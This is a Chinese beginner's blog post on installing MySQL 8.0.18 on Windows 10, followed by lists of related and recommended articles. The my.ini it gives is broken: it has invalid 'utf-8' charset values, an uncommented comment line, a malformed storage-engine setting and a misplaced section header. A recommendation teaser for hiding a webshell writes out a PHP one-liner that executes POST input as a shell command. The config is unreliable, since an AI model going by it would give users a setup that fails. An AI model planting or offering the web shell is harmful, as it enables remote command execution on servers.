下载mysql安装包,然后解压到你想安装的目录下,我下载的是mysql-8.0.18-winx64

Windows 上安装 MySQL 相对来说会较为简单,最新版本可以在 MySQL 下载 中下载中查看

Download这个下载,进入到下载页面 请点击图中的 No thanks, just start my download. 就可下载

下载完将安装包解压到你想安装的目录下,在此我将它放在 C:\Web\mysql-8.0.18

放好安装包,我们要给MySQL弄配置文件

打开刚刚的C:\Web\mysql-8.0.18 在该文件下创建 my.ini配置文件,编辑配置文件信息如下(完全无基础可能不知道怎么弄这个.ini,此处说明下:创建一个.txt文件,写好配置后将.txt改为.ini):

[client]
#设置Mysql客户端默认字符集
default-character-set=utf-8 [mysql]
#设置3306端口
port = 3306
#设置MYSQL的安装目录
basedir=C:\\Web\\mysql-8.0.18
#允许最大连接数
max_connections=20
#服务端使用的字符集默认为8比特编码的latin1字符集
character-set-server = utf-8
创建新表时将使用默认存储引擎
default-storage-INNODB

配置文件完成,我们来启动MySQL

以管理员身份打开cmd 命令行工具,切换目录:

cd C:\Web\mysql-8.0.18\bin

初始化数据库

mysqld --initialize --console

执行完后,会输出root初始密码如下:

root@localhost: os<Usg+=D0uj(这个就是初始密码请一定记住)

C:\Web\mysql-8.0.18\bin>mysqld --initialize --console
2019-12-28T03:19:10.967657Z 0 [System] [MY-013169] [Server] C:\Web\mysql-8.0.18\bin\mysqld.exe (mysqld 8.0.18) initializing of server in progress as process 17424
2019-12-28T03:19:12.549335Z 5 [Note] [MY-010454] [Server] A temporary password is generated for root@localhost: os<Usg+=D0uj

      注意:

      在执行:mysqld --initialize --console

      此处可能出现的报错:.....MySQL Community Server - GPL(如下图)

    

        解决办法:打开目录下的mysql文件夹 ,将已经存在的data目录删除,再将上面的代码执行一遍即可

再输入安装命令:

mysqld install

安装成功出现如下提示:

Service successfully installed
C:\Web\mysql-8.0.18\bin>mysqld install
Service successfully installed.

    注意:

        在mysql的bin目录下面执行: mysqld --install

        此处可能出现的报错:Install/Remove of the Service Denied

       解决办法:打开cmd.exe程序的时候选择“用管理员身份打开”

      用管理员身份打开cmd.exe程序方法:点击电脑win键打开菜单------>在菜单中找到  Windows系统  ------>展开   Windows系统   找到   命令提示符  ----->右键 更多  再选择  以管理员身份运行   即可

启动输入以下命令:

net start mysql

成功启动提示如下:

C:\Web\mysql-8.0.18\bin>net start mysql
MySQL 服务正在启动 .
MySQL 服务已经启动成功。

 登录 MySQL

当 MySQL 服务已经运行时, 我们可以通过 MySQL 自带的客户端工具登录到 MySQL 数据库中, 首先打开命令提示符, 输入以下格式的命名:

mysql -h 主机名 -u 用户名 -p

参数说明:

-h : 指定客户端所要登录的 MySQL 主机名, 登录本机(localhost 或 127.0.0.1)该参数可以省略;
-u : 登录的用户名;
-p : 告诉服务器将会使用一个密码来登录, 如果所要登录的用户名密码为空, 可以忽略此选项。

我们要登录本机的 MySQL 数据库,只需要输入以下命令即可:

mysql -u root -p

回车确认, 如果安装正确且 MySQL 正在运行, 会得到以下结果:

Enter password:

此时如存在密码(我在此处用的密码就是上面标记的那个初始密码),输入密码登录,如不存在直接回车。

登录成功后你将会看到 Welcome to the MySQL monitor... 的提示语

然后命令提示符会一直以 mysq> 加一个闪烁的光标等待命令的输入, 输入 exit 或 quit 退出登录。

特别申明:此篇文章仅是结合自己的实际操作所写,是作为初学者学习的一个过程记录。

win10环境下安装mysql-8.0.18-winx64的更多相关文章

  1. CentOS 7 下安装 MySQL 8.0

    前言 本篇文章主要介绍在 CentOS 7 环境下安装 MySQL 8.0. 正文 1. 配置yum源 首先在 https://dev.mysql.com/downloads/repo/yum/ 找到 ...

  2. win10 安装mysql 8.0.18 解决Navicat初次连接报错

    win10 安装mysql 8.0.18 解决Navicat初次连接报错 win10 安装mysql 8.0.18-winx64 一,先去官网下载mysql 安装包 https://dev.mysql ...

  3. 在Mac OS环境下安装MySQL服务

    在Mac OS环境下安装MySQL服务 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 我之前介绍过window环境下安装mysql服务,以及在Linux环境下安装mysql服务,今 ...

  4. YApi——手摸手,带你在Win10环境下安装YApi可视化接口管理平台

    手摸手,带你在Win10环境下安装YApi可视化接口管理平台 YApi YApi 是高效.易用.功能强大的 api 管理平台,旨在为开发.产品.测试人员提供更优雅的接口管理服务.可以帮助开发者轻松创建 ...

  5. Linux centos7环境下安装MySQL的步骤详解

    Linux centos7环境下安装MySQL的步骤详解 安装MySQL mysql 有两个跟windows不同的地方 1).my.ini 保存到/etc/my.ini 2).用户权限,单独用户执行 ...

  6. win10环境下安装Ubantu双系统(超详解)

    win10环境下安装Ubantu双系统 1.准备工作: 先去ubantu官网(https://www.ubuntu.com/download)去下载ubantu镜像.根据自己的实际情况选择32位的或者 ...

  7. centos / Linux 服务环境下安装 Redis 5.0.3

    原文:centos / Linux 服务环境下安装 Redis 5.0.3 1.首先进入你要安装的目录 cd /usr/local 2.下载目前最新稳定版本 Redis 5.0.3 wget http ...

  8. Linux 下安装mysql 8.0.11(CentOS 7.4 系统)

    CentOS 7 自带MariaDB (前mysql开发工程师开发的,因此与吗,mysql 有很多相似之处) 1.检查卸载自带的MariaDB rpm -qa|grep mariadb //查询出来已 ...

  9. Windows系统下安装MySQL 8.0.11数据库

    MySQL数据库是常用的数据库之一,而且该数据库开源免费,所以很多公司在使用.本文记录如何在Windows系统下安装MySQL数据库,本次安装的版本号为8.0.11,这个版本是当前的最新版本,据宣传, ...

  10. liunx环境下安装mysql数据库

    一:如果你的机器上之前安装有mysql数据库,先进行卸载 (1)需要先将它的文件删除 (2)同时注意删除老板本的etc/my.cnf文件和/etc/mysql目录,这两个文件控制的是mysql的一些配 ...

随机推荐

  1. Paper慢慢读 - AB实验人群定向 Double Machine Learning

    Hetergeneous Treatment Effect旨在量化实验对不同人群的差异影响,进而通过人群定向/数值策略的方式进行差异化实验,或者对实验进行调整.Double Machine Learn ...

  2. LeetCode 381. Insert Delete GetRandom O(1) - Duplicates allowed O(1) 时间插入、删除和获取随机元素 - 允许重复(C++/Java)

    题目: Design a data structure that supports all following operations in averageO(1) time. Note: Duplic ...

  3. c++中对象的构造和销毁

    对象的初始化 如下 ckasss Person { public: ]; char sex; int age; }; Person p={}; //对象初始化 构造数组对象时,需要一个没有参数的构造函 ...

  4. 18、DHCP

    Dynamic Host Configuration Protocol DHCP的前身:Bootstrap DHCP的封装 DHCP基本知识点 1 .DHCP协议在RFC2131中定义,使用udp协议 ...

  5. 自学Java第一章——《Java概述》

    1.1 Java历史 Java诞生于SUN(Stanford University Network),09年SUN被Oracle(甲骨文)收购. Java之父是詹姆斯.高斯林(James Goslin ...

  6. 【Detection】物体识别-制作PASCAL VOC数据集

    PASCAL VOC数据集 PASCAL VOC为图像识别和分类提供了一整套标准化的优秀的数据集,从2005年到2012年每年都会举行一场图像识别challenge 默认为20类物体 1 数据集结构 ...

  7. Unity酱~ 卡通渲染技术分析(一)

    前面的话 unitychan是日本unity官方团队提供的一个Demo,里面有很好的卡通渲染效果,值得参考学习 上图是我整理出来的shader结构,可以看到Unity娘被拆分成了很多个小的部件,我想主 ...

  8. 隐藏Web Shell

    隐藏Webshell $ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.ph ...

  9. C#设计模式学习笔记:(21)访问者模式

    本笔记摘抄自:https://www.cnblogs.com/PatrickLiu/p/8135083.html,记录一下学习过程以备后续查用. 一.引言 今天我们要讲行为型设计模式的第九个模式--访 ...

  10. Centos8(Liunx) 中安装PHP7.4 的三种方法和删除它的三种方法

    编译安装 Centos8下PHP源码编译和通过yum安装的区别和以后的选择 其实这两种方法各有千秋: yum安装: 从yum安装来说吧,yum相当于是自动化帮你安装,你不用管软件的依赖关系,在yum安 ...